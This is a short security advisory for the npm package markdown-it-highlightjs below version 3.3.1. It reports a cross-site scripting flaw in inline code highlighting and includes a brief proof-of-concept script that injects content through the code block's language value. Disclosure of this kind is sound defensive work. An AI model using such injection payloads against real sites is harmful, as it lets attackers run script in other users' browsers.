Description
This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature. const markdownItHighlightjs = require("markdown-it-highlightjs"); const md = require('markdown-it'); const reuslt_xss = md() .use(markdownItHighlightjs, { inline: true }) .render('console.log(42){.">js}'); console.log(reuslt_xss);
Affected products
| Vendor | Product | Affected | Fixed |
|---|---|---|---|
| — | markdown-it-highlightjs | unspecified – < 3.3.1 | 3.3.1 |
Affected packages
| Ecosystem | Package | Affected | Fixed | Record |
|---|---|---|---|---|
| npm | markdown-it-highlightjs | < 3.3.1 | 3.3.1 | GHSA-f246-xrrj-g8j6 |